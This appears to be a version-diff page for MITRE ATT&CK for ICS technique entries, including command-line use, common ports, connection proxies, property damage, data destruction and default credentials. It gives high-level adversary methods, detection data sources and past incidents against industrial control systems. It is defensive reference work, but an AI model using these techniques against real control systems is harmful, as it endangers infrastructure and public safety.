Detection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. | Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. (Citation: Enterprise ATT&CK January 2018) Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. Many controllers have CLI interfaces for management purposes. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0807 | https://attack.mitre.org/Technique/T0807 |
| external_references[1]['source_name'] | EAttack Command-Line Interface | Enterprise ATT&CK January 2018 |
| external_references[1]['description'] | Enterprise ATT&CK. (2018, January 11). Command-Line Interface. Retrieved May 17, 2018. | Enterprise ATT&CK 2018, January 11 Command-Line Interface Retrieved. 2018/05/17 |
| x_mitre_platforms[1] | Data Historian | Data Historian |
| x_mitre_platforms[2] | Field Controller/RTU/PLC/IED | Field Controller/RTU/PLC/IED |
| x_mitre_platforms[3] | Human-Machine Interface | Human-Machine Interface |
| x_mitre_platforms[4] | Input/Output Server | Input/Output Server |
[T0885] Commonly Used Port
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may communicate over a commonly used port to byp | t | Adversaries may communicate over a commonly used port to byp |
| ass firewalls or network detection systems and to blend in w | | ass firewalls or network detection systems and to blend in w |
| ith normal network activity, to avoid more detailed inspecti | | ith normal network activity, to avoid more detailed inspecti |
| on. They may use the protocol associated with the port, or a | | on. They may use the protocol associated with the port, or a |
| completely different protocol. They may use commonly open p | | completely different protocol. They may use commonly open p |
| orts, such as the examples provided below. * TCP:80 (HTTP) * | | orts, such as the examples provided below. * TCP:80 (HTTP) * |
| TCP:443 (HTTPS) * TCP/UDP:53 (DNS) * TCP:1024-4999 (OPC on | | TCP:443 (HTTPS) * TCP/UDP:53 (DNS) * TCP:1024-4999 (OPC on |
| XP/Win2k3) * TCP:49152-65535 (OPC on Vista and later) * TCP: | | XP/Win2k3) * TCP:49152-65535 (OPC on Vista and later) * TCP: |
| 23 (TELNET) * UDP:161 (SNMP) * TCP:502 (MODBUS) * TCP:102 (S | | 23 (TELNET) * UDP:161 (SNMP) * TCP:502 (MODBUS) * TCP:102 (S |
| 7comm/ISO-TSAP) * TCP:20000 (DNP3) * TCP:44818 (Ethernet/IP) | | 7comm/ISO-TSAP) * TCP:20000 (DNP3) * TCP:44818 (Ethernet/IP) |
| Contributors: Matan Dobrushin - Otorio | | |
New Detections:
- DS0029: Network Traffic (Network Traffic Flow)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 13:04:01.612000+00:00 | 2022-04-21 22:02:03.840000+00:00 |
| description | Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples provided below.
* TCP:80 (HTTP)
* TCP:443 (HTTPS)
* TCP/UDP:53 (DNS)
* TCP:1024-4999 (OPC on XP/Win2k3)
* TCP:49152-65535 (OPC on Vista and later)
* TCP:23 (TELNET)
* UDP:161 (SNMP)
* TCP:502 (MODBUS)
* TCP:102 (S7comm/ISO-TSAP)
* TCP:20000 (DNP3)
* TCP:44818 (Ethernet/IP)
Contributors: Matan Dobrushin - Otorio | Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples provided below. * TCP:80 (HTTP) * TCP:443 (HTTPS) * TCP/UDP:53 (DNS) * TCP:1024-4999 (OPC on XP/Win2k3) * TCP:49152-65535 (OPC on Vista and later) * TCP:23 (TELNET) * UDP:161 (SNMP) * TCP:502 (MODBUS) * TCP:102 (S7comm/ISO-TSAP) * TCP:20000 (DNP3) * TCP:44818 (Ethernet/IP) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0885 | https://attack.mitre.org/Technique/T0885 |
[T0884] Connection Proxy
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may use a connection proxy to direct network tra | t | Adversaries may use a connection proxy to direct network tra |
| ffic between systems or act as an intermediary for network c | | ffic between systems or act as an intermediary for network c |
| ommunications. The definition of a proxy can also be expand | | ommunications. The definition of a proxy can also be expand |
| ed to encompass trust relationships between networks in peer | | ed to encompass trust relationships between networks in peer |
| -to-peer, mesh, or trusted connections between networks cons | | -to-peer, mesh, or trusted connections between networks cons |
| isting of hosts or systems that regularly communicate with e | | isting of hosts or systems that regularly communicate with e |
| ach other. The network may be within a single organization | | ach other. The network may be within a single organization |
| or across multiple organizations with trust relationships. A | | or across multiple organizations with trust relationships. A |
| dversaries could use these types of relationships to manage | | dversaries could use these types of relationships to manage |
| command and control communications, to reduce the number of | | command and control communications, to reduce the number of |
| simultaneous outbound network connections, to provide resili | | simultaneous outbound network connections, to provide resili |
| ency in the face of connection loss, or to ride over existin | | ency in the face of connection loss, or to ride over existin |
| g trusted communications paths between victims to avoid susp | | g trusted communications paths between victims to avoid susp |
| icion. (Citation: EAttack Connection Proxy) Detection: Proc | | icion. (Citation: Enterprise ATT&CK January 2018) |
| esses utilizing the network that do not normally have networ | | |
| k communication or have never been seen before are suspiciou | | |
| s. Network activities disassociated from user-driven actions | | |
| from processes that normally require user direction are sus | | |
| picious. Analyze network data for uncommon data flows (e.g. | | |
| , a client sending significantly more data than it receives | | |
| from a server or between clients that should not or often do | | |
| not communicate with one another). Processes utilizing the | | |
| network that do not normally have network communication or h | | |
| ave never been seen before are suspicious. Analyze packet co | | |
| ntents to detect communications that do not follow the expec | | |
| ted protocol behavior for the port that is being used. (Cita | | |
| tion: University of Birmingham C2) | | |
New Detections:
- DS0029: Network Traffic (Network Connection Creation)
- DS0029: Network Traffic (Network Traffic Content)
- DS0029: Network Traffic (Network Traffic Flow)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 13:04:01.612000+00:00 | 2022-04-21 22:02:03.841000+00:00 |
| description | Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications.
The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.
The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. (Citation: EAttack Connection Proxy)
Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) | Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. (Citation: Enterprise ATT&CK January 2018) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0884 | https://attack.mitre.org/Technique/T0884 |
| external_references[1]['source_name'] | EAttack Connection Proxy | Enterprise ATT&CK January 2018 |
| external_references[1]['description'] | Enterprise ATT&CK. (2018, January 11). Connection Proxy. Retrieved May 17, 2018. | Enterprise ATT&CK 2018, January 11 Connection Proxy Retrieved. 2018/05/17 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.', 'url': 'https://www.cpni.gov.uk/Documents/Publications/2014/2014-04-23-c2-report-birmingham.pdf'} | |
[T0879] Damage to Property
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may cause damage and destruction of property to | t | Adversaries may cause damage and destruction of property to |
| infrastructure, equipment, and the surrounding environment w | | infrastructure, equipment, and the surrounding environment w |
| hen attacking control systems. This technique may result in | | hen attacking control systems. This technique may result in |
| device and operational equipment breakdown, or represent tan | | device and operational equipment breakdown, or represent tan |
| gential damage from other techniques used in an attack. Depe | | gential damage from other techniques used in an attack. Depe |
| nding on the severity of physical damage and disruption caus | | nding on the severity of physical damage and disruption caus |
| ed to control processes and systems, this technique may resu | | ed to control processes and systems, this technique may resu |
| lt in <span class="smw-format list-format "><span class="smw | | lt in [Loss of Safety](https://attack.mitre.org/techniques/T |
| -row"><span class="smw-field"><span class="smw-value">Loss o | | 0880). Operations that result in [Loss of Control](https://a |
| f Safety</span></span></span></span>. Operations that result | | ttack.mitre.org/techniques/T0827) may also cause damage to p |
| in <span class="smw-format list-format "><span class="smw-r | | roperty, which may be directly or indirectly motivated by an |
| ow"><span class="smw-field"><span class="smw-value">Loss of | | adversary seeking to cause impact in the form of [Loss of P |
| Control</span></span></span></span> may also cause damage to | | roductivity and Revenue](https://attack.mitre.org/techniques |
| property, which may be directly or indirectly motivated by | | /T0828). The German Federal Office for Information Securit |
| an adversary seeking to cause impact in the form of <span cl | | y (BSI) reported a targeted attack on a steel mill under an |
| ass="smw-format list-format "><span class="smw-row"><span cl | | incidents affecting business section of its 2014 IT Security |
| ass="smw-field"><span class="smw-value">Loss of Productivity | | Report. (Citation: Bundesamt fr Sicherheit in der Informati |
| and Revenue</span></span></span></span>. The German Feder | | onstechnik (BSI) (German Federal Office for Information Secu |
| al Office for Information Security (BSI) reported a targeted | | rity) 2014) These targeted attacks affected industrial oper |
| attack on a steel mill under an incidents affecting busines | | ations and resulted in breakdowns of control system componen |
| s section of its 2014 IT Security Report. (Citation: German | | ts and even entire installations. As a result of these break |
| Steel Mill - German Federal Office for Information Security | | downs, massive impact and damage resulted from the uncontrol |
| - 2014) These targeted attacks affected industrial operation | | led shutdown of a blast furnace. In the Maroochy Attack, Vi |
| s and resulted in breakdowns of control system components an | | tek Boden gained remote computer access to the control syste |
| d even entire installations. As a result of these breakdowns | | m and altered data so that whatever function should have occ |
| , massive impact and damage resulted from the uncontrolled s | | urred at affected pumping stations did not occur or occurred |
| hutdown of a blast furnace. In the Maroochy Attack, Vitek B | | in a different way. This ultimately led to 800,000 liters o |
| oden gained remote computer access to the control system and | | f raw sewage being spilled out into the community. The raw s |
| altered data so that whatever function should have occurred | | ewage affected local parks, rivers, and even a local hotel. |
| at affected pumping stations did not occur or occurred in a | | This resulted in harm to marine life and produced a sickenin |
| different way. This ultimately led to 800,000 liters of raw | | g stench from the community's now blackened rivers. (Citatio |
| sewage being spilled out into the community. The raw sewage | | n: Marshall Abrams July 2008) A Polish student used a remot |
| affected local parks, rivers, and even a local hotel. This | | e controller device to interface with the Lodz city tram sys |
| resulted in harm to marine life and produced a sickening ste | | tem in Poland. (Citation: John Bill May 2017) (Citation: She |
| nch from the community's now blackened rivers. (Citation: Ma | | lley Smith February 2008) (Citation: Bruce Schneier January |
| roochy - MITRE - 200808) A Polish student used a remote con | | 2008) Using this remote, the student was able to capture and |
| troller device to interface with the Lodz city tram system i | | replay legitimate tram signals. This resulted in damage to |
| n Poland. (Citation: LodzTram-LondonReconnections-2017-12) ( | | impacted trams, people, and the surrounding property. Report |
| Citation: LodzTram-InHomelandSecurity-2008-02) (Citation: Lo | | edly, four trams were derailed and were forced to make emerg |
| dzTram-Schneier-2008-01) Using this remote, the student was | | ency stops. (Citation: Shelley Smith February 2008) Commands |
| able to capture and replay legitimate tram signals. This res | | issued by the student may have also resulted in tram collis |
| ulted in damage to impacted trams, people, and the surroundi | | ions, causing harm to those on board and the environment out |
| ng property. Reportedly, four trams were derailed and were f | | side. (Citation: Bruce Schneier January 2008) |
| orced to make emergency stops. (Citation: LodzTram-InHomelan | | |
| dSecurity-2008-02) Commands issued by the student may have a | | |
| lso resulted in tram collisions, causing harm to those on bo | | |
| ard and the environment outside. (Citation: LodzTram-Schneie | | |
| r-2008-01) | | |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 13:04:01.612000+00:00 | 2022-04-21 22:02:03.844000+00:00 |
| description | Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue.
The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. (Citation: German Steel Mill - German Federal Office for Information Security - 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace.
In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community's now blackened rivers. (Citation: Maroochy - MITRE - 200808)
A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: LodzTram-LondonReconnections-2017-12) (Citation: LodzTram-InHomelandSecurity-2008-02) (Citation: LodzTram-Schneier-2008-01) Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops. (Citation: LodzTram-InHomelandSecurity-2008-02) Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside. (Citation: LodzTram-Schneier-2008-01) | Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in [Loss of Safety](https://attack.mitre.org/techniques/T0880). Operations that result in [Loss of Control](https://attack.mitre.org/techniques/T0827) may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of [Loss of Productivity and Revenue](https://attack.mitre.org/techniques/T0828). The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. (Citation: Bundesamt fr Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security) 2014) These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community's now blackened rivers. (Citation: Marshall Abrams July 2008) A Polish student used a remote controller device to interface with the Lodz city tram system in Poland. (Citation: John Bill May 2017) (Citation: Shelley Smith February 2008) (Citation: Bruce Schneier January 2008) Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops. (Citation: Shelley Smith February 2008) Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside. (Citation: Bruce Schneier January 2008) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0879 | https://attack.mitre.org/Technique/T0879 |
| external_references[1]['source_name'] | Maroochy - MITRE - 200808 | Bundesamt fr Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security) 2014 |
| external_references[1]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Bundesamt fr Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security) 2014 Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany) Retrieved. 2019/10/30 |
| external_references[1]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?__blob=publicationFile&v=3 |
| external_references[2]['source_name'] | LodzTram-LondonReconnections-2017-12 | Marshall Abrams July 2008 |
| external_references[2]['description'] | John Bill. (2017, May 12). Hacked Cyber Security Railways. Retrieved October 17, 2019. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://www.londonreconnections.com/2017/hacked-cyber-security-railways/ | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| external_references[3]['source_name'] | LodzTram-InHomelandSecurity-2008-02 | John Bill May 2017 |
| external_references[3]['description'] | Shelley Smith. (2008, February 12). Teen Hacker in Poland Plays Trains and Derails City Tram System. Retrieved October 17, 2019. | John Bill 2017, May 12 Hacked Cyber Security Railways Retrieved. 2019/10/17 |
| external_references[3]['url'] | https://inhomelandsecurity.com/teen%20hacker%20in%20poland%20plays%20tr/ | https://www.londonreconnections.com/2017/hacked-cyber-security-railways/ |
| external_references[4]['source_name'] | LodzTram-Schneier-2008-01 | Shelley Smith February 2008 |
| external_references[4]['description'] | Bruce Schneier. (2008, January 17). Hacking Polish Trams. Retrieved October 17, 2019. | Shelley Smith 2008, February 12 Teen Hacker in Poland Plays Trains and Derails City Tram System Retrieved. 2019/10/17 |
| external_references[4]['url'] | https://www.schneier.com/blog/archives/2008/01/hacking%20the%20pol.html | https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/ |
| external_references[5]['source_name'] | German Steel Mill - German Federal Office for Information Security - 2014 | Bruce Schneier January 2008 |
| external_references[5]['description'] | Bundesamt für Sicherheit in der Informationstechnik (BSI) (German Federal Office for Information Security). (2014). Die Lage der IT-Sicherheit in Deutschland 2014 (The State of IT Security in Germany). Retrieved October 30, 2019. | Bruce Schneier 2008, January 17 Hacking Polish Trams Retrieved. 2019/10/17 |
| external_references[5]['url'] | https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?%20blob=publicationFile&v=3 | https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Shelley Smith February 2008', 'description': 'Shelley Smith 2008, February 12 Teen Hacker in Poland Plays Trains and Derails City Tram System Retrieved. 2019/10/17 ', 'url': 'https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/'} |
| external_references | | {'source_name': 'Bruce Schneier January 2008', 'description': 'Bruce Schneier 2008, January 17 Hacking Polish Trams Retrieved. 2019/10/17 ', 'url': 'https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html'} |
[T0809] Data Destruction
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may perform data destruction over the course of | t | Adversaries may perform data destruction over the course of |
| an operation. The adversary may drop or create malware, tool | | an operation. The adversary may drop or create malware, tool |
| s, or other non-native files on a target system to accomplis | | s, or other non-native files on a target system to accomplis |
| h this, potentially leaving behind traces of malicious activ | | h this, potentially leaving behind traces of malicious activ |
| ities. Such non-native files and other data may be removed o | | ities. Such non-native files and other data may be removed o |
| ver the course of an intrusion to maintain a small footprint | | ver the course of an intrusion to maintain a small footprint |
| or as a standard part of the post-intrusion cleanup process | | or as a standard part of the post-intrusion cleanup process |
| . (Citation: EAttack File Deletion) Data destruction may a | | . (Citation: Enterprise ATT&CK January 2018) Data destruct |
| lso be used to render operator interfaces unable to respond | | ion may also be used to render operator interfaces unable to |
| and to disrupt response functions from occurring as expected | | respond and to disrupt response functions from occurring as |
| . An adversary may also destroy data backups that are vital | | expected. An adversary may also destroy data backups that a |
| to recovery after an incident. Standard file deletion comma | | re vital to recovery after an incident. Standard file delet |
| nds are available on most operating system and device interf | | ion commands are available on most operating system and devi |
| aces to perform cleanup, but adversaries may use other tools | | ce interfaces to perform cleanup, but adversaries may use ot |
| as well. Two examples are Windows Sysinternals SDelete and | | her tools as well. Two examples are Windows Sysinternals SDe |
| Active@ Killdisk. Detection: It may be uncommon for events | | lete and Active@ Killdisk. |
| related to benign command-line functions such as DEL or thir | | |
| d-party utilities or tools to be found in an environment, de | | |
| pending on the user base and how systems are typically used. | | |
| Monitoring for command-line deletion functions to correlate | | |
| with binaries or other files that an adversary may drop and | | |
| remove may lead to detection of malicious activity. Another | | |
| good practice is monitoring for known deletion and secure d | | |
| eletion tools that are not already on systems within an ente | | |
| rprise network that an adversary could introduce. Some monit | | |
| oring tools may collect command-line arguments, but may not | | |
| capture DEL commands since DEL is a native function within c | | |
| md.exe. | | |
New Detections:
- DS0009: Process (Process Creation)
- DS0017: Command (Command Execution)
- DS0022: File (File Deletion)
- DS0022: File (File Modification)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 13:04:01.612000+00:00 | 2022-04-21 22:02:03.845000+00:00 |
| description | Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. (Citation: EAttack File Deletion)
Data destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident.
Standard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk.
Detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe. | Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. (Citation: Enterprise ATT&CK January 2018) Data destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident. Standard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0809 | https://attack.mitre.org/Technique/T0809 |
| external_references[1]['source_name'] | EAttack File Deletion | Enterprise ATT&CK January 2018 |
| external_references[1]['description'] | Enterprise ATT&CK. (2018, January 11). File Deletion. Retrieved May 17, 2018. | Enterprise ATT&CK 2018, January 11 File Deletion Retrieved. 2018/05/17 |
[T0811] Data from Information Repositories
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may target and collect data from information rep | t | Adversaries may target and collect data from information rep |
| ositories. This can include sensitive data such as specifica | | ositories. This can include sensitive data such as specifica |
| tions, schematics, or diagrams of control system layouts, de | | tions, schematics, or diagrams of control system layouts, de |
| vices, and processes. Examples of information repositories i | | vices, and processes. Examples of information repositories i |
| nclude reference databases or local machines in the process | | nclude reference databases or local machines in the process |
| environment, as well as workstations and databases in the co | | environment, as well as workstations and databases in the co |
| rporate network that might contain information about the ICS | | rporate network that might contain information about the ICS |
| . Information collected from these systems may provide the a | | . (Citation: Cybersecurity & Infrastructure Security Agency |
| dversary with a better understanding of the operational envi | | March 2018) Information collected from these systems may p |
| ronment, vendors used, processes, or procedures of the ICS. | | rovide the adversary with a better understanding of the oper |
| In a campaign between 2011 and 2013 against ONG organization | | ational environment, vendors used, processes, or procedures |
| s, Chinese state-sponsored actors searched document reposito | | of the ICS. In a campaign between 2011 and 2013 against ONG |
| ries for specific information such as, system manuals, remot | | organizations, Chinese state-sponsored actors searched docu |
| e terminal unit (RTU) sites, personnel lists, documents that | | ment repositories for specific information such as, system m |
| included the string “SCAD*”, user credentials, and remote d | | anuals, remote terminal unit (RTU) sites, personnel lists, d |
| ial-up access information.(Citation: CISA Chinese Gas Pipeli | | ocuments that included the string SCAD*, user credentials, a |
| ne Intrusion 2011 - 2013 July 2021) | | nd remote dial-up access information. (Citation: Department |
| | | of Justice (DOJ), DHS Cybersecurity & Infrastructure Securit |
| | | y Agency (CISA) July 2021) |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0022: File (File Access)
- DS0028: Logon Session (Logon Session Creation)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 15:25:32.143000+00:00 | 2022-04-21 22:02:03.846000+00:00 |
| description | Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS. In a campaign between 2011 and 2013 against ONG organizations, Chinese state-sponsored actors searched document repositories for specific information such as, system manuals, remote terminal unit (RTU) sites, personnel lists, documents that included the string “SCAD*”, user credentials, and remote dial-up access information.(Citation: CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021) | Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases or local machines in the process environment, as well as workstations and databases in the corporate network that might contain information about the ICS. (Citation: Cybersecurity & Infrastructure Security Agency March 2018) Information collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS. In a campaign between 2011 and 2013 against ONG organizations, Chinese state-sponsored actors searched document repositories for specific information such as, system manuals, remote terminal unit (RTU) sites, personnel lists, documents that included the string SCAD*, user credentials, and remote dial-up access information. (Citation: Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) July 2021) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0811 | https://attack.mitre.org/Technique/T0811 |
| external_references[1]['source_name'] | CISA Chinese Gas Pipeline Intrusion 2011 - 2013 July 2021 | Cybersecurity & Infrastructure Security Agency March 2018 |
| external_references[1]['description'] | ONG2011 - DHS Advisory - Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA). (2021, July 20). Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013. Retrieved October 8, 2021. | Cybersecurity & Infrastructure Security Agency 2018, March 15 Alert (TA18-074A) Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors Retrieved. 2019/10/11 |
| external_references[1]['url'] | https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf | https://us-cert.cisa.gov/ncas/alerts/TA18-074A |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) July 2021', 'description': 'Department of Justice (DOJ), DHS Cybersecurity & Infrastructure Security Agency (CISA) 2021, July 20 Chinese Gas Pipeline Intrusion Campaign, 2011 to 2013 Retrieved. 2021/10/08 ', 'url': 'https://us-cert.cisa.gov/sites/default/files/publications/AA21-201A_Chinese_Gas_Pipeline_Intrusion_Campaign_2011_to_2013%20(1).pdf'} |
[T0812] Default Credentials
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may leverage manufacturer or supplier set defaul | t | Adversaries may leverage manufacturer or supplier set defaul |
| t credentials on control system devices. These default crede | | t credentials on control system devices. These default crede |
| ntials may have administrative permissions and may be necess | | ntials may have administrative permissions and may be necess |
| ary for initial configuration of the device. It is general b | | ary for initial configuration of the device. It is general b |
| est practice to change the passwords for these accounts as s | | est practice to change the passwords for these accounts as s |
| oon as possible, but some manufacturers may have devices tha | | oon as possible, but some manufacturers may have devices tha |
| t have passwords or usernames that cannot be changed. (Citat | | t have passwords or usernames that cannot be changed. (Citat |
| ion: Guidance - NIST SP800-82) Default credentials are norm | | ion: Keith Stouffer May 2015) Default credentials are norma |
| ally documented in an instruction manual that is either pack | | lly documented in an instruction manual that is either packa |
| aged with the device, published online through official mean | | ged with the device, published online through official means |
| s, or published online through unofficial means. Adversaries | | , or published online through unofficial means. Adversaries |
| may leverage default credentials that have not been properl | | may leverage default credentials that have not been properly |
| y modified or disabled. | | modified or disabled. |
New Detections:
- DS0028: Logon Session (Logon Session Creation)
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
